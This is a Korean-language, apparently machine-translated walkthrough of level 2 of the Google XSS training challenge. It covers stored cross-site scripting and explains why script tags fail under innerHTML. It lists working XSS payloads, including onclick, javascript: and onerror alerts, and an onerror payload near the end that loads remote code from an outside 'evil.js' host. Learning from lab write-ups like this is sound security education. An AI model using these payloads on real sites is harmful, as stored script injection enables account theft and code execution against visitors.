Google XSS 챌린지: 지속성이 핵심인 수준 2(자세한 연습)
전제 조건
시작하기 전에 XSS에 대해 잘 알고 있거나 최소한 그것에 대해 알고 있어야 합니다. 다음은 XSS가 무엇인지 이해하기 위해 읽을 수 있는 좋은 기사입니다. Read !
또한 독자들이 최소한 JavaScript에 익숙하다고 가정합니다. 그렇지 않다면 JS와 시간을 보내고 기본 사항에 익숙해지도록 제안합니다. 매우 유용한 javascript.info 및 MDN을 참조할 수 있습니다.
💡 Also in this whole series we'll not even roll our eyes on Hints and Toggle Code as in real-world bug hunting no one will give you hints or non-obfuscator source code so you have to figure out things yourself.
임무 설명
웹 응용 프로그램은 종종 사용자 데이터를 서버 측 및 클라이언트 측 데이터베이스에 보관하고 나중에 사용자에게 표시합니다. 이러한 사용자 제어 데이터의 출처에 관계없이 신중하게 처리해야 합니다.
이 수준은 복잡한 앱에서 XSS 버그가 얼마나 쉽게 도입될 수 있는지 보여줍니다.
임무 목표
응용 프로그램의 컨텍스트에서 alert()를 팝업하는 스크립트를 삽입하십시오.
참고: 응용 프로그램은 게시물을 저장하므로 경고를 실행하기 위해 코드를 몰래 입력하면 다시 로드할 때마다 이 수준이 해결됩니다.
침입
우리의 접근 방식은 다음과 같습니다.
임의의 입력을 시도하여 시작하겠습니다.
입력 1: 안녕하세요
그리고 예! madchattr의 게시물입니다. 페이지를 새로고침하면 게시물이 여전히 있는 것을 볼 수 있습니다. 이는 우리의 입력이 어딘가에 저장되고 있음을 의미합니다.
입력 2:
<marquee>Hello</marquee>
이제 HTML도 렌더링한다고 말할 수 있습니다. 당신은 우리의 다음 행동이 무엇인지 알고 있습니다 😉
입력 3:
<script>alert("xss level 2")</script>
하지만 일이 우리가 원하는 대로 되지 않았습니다. 명백한 것은 표시되지 않지만 아무 것도 실행되지 않아 우리의 무기인 DEV TOOLS를 충전해야 합니다!
마지막 게시물을 살펴보면 스크립트 태그가
<blockquote>
안에 있음을 알 수 있습니다.blockquote
가 script
의 실행을 방해합니까? 나는 그렇게 생각하지 않으며 그것을 시도한 후에 나는 그것이 blockquote
가 아니라고 확신합니다.HTML 양식인 입력을 검사하면
id="post-form"
이 표시됩니다. 가정하면 양식 제출을 듣고 데이터를 처리할 일부eventlistener
가 있어야 합니다. 개발자 콘솔에서 submit
키워드를 검색해 봅시다.흠, 재미있다! 스크립트가 하는 일은 양식 제출 이벤트를 수신한 다음 양식 값, 즉 입력으로 무언가를 하는 것입니다. 그것은
DB.save()
로 무언가를 하고 있습니다. 디버거를 사용하여 전체 프로세스가 어떻게 작동하는지 알아봅시다.디버깅을 통해 애플리케이션에 대해 다음을 이해합니다.
PostDB()
))element.innerHTML
(in function displayPosts()
) 약간의 인터넷 검색 후에
element.innerHTML
스크립트 태그가 실행되지 않는다는 것을 알았습니다.If a
<div>
,<span>
, or<noembed>
node has a child text node that includes the characters (&), (<), or (>),innerHTML
returns these characters as the HTML entities&
,<
and>
respectively. UseNode.textContent
to get a raw copy of these text nodes' contents.
Read more
이제 우리는 누가 우리를 방해하는지 알았으므로 페이로드를 만들어야 하며 인라인 JavaScript를 사용할 것입니다.
페이로드:
<button onclick="alert('xss level 2')">click me</button>
스크립트 태그가 아니므로 렌더링되며 버튼을 클릭하면
onclick
가 실행됩니다. 실행alert('xss level 2')
하고 우리가 원하는 경고를 표시합니다.다른 페이로드도 시도할 수 있습니다.
<a href="javascript: alert('anchor')">click me!</a>
<img src=lol onerror="alert('img tag')" />
게시물을 마치기 전에 미친 XSS 공격이 어떻게 가능한지 보여주고 싶습니다. 다음을 복사하여 붙여넣으면 나머지는 표시됩니다.
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
위험한 것은 로컬 저장소에 저장되어 있기 때문에 페이지를 새로 고치더라도 스크립트가 다시 실행될 것입니다.
우리는 아직 끝나지 않았습니다!! 완료해야 할 Google XSS 챌린지가 4개 더 있으므로 blog section으로 이동하여 연습을 확인하세요.
🥳 이제 인용으로 게시물을 마무리할 시간입니다.
“I am still learning.” — Michelangelo
Reference
이 문제에 관하여(Google XSS 챌린지: 지속성이 핵심인 수준 2(자세한 연습)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/souvikinator/google-xss-challenge-level-2-aka-persistence-is-key-detailed-walkthrough-5h6e텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)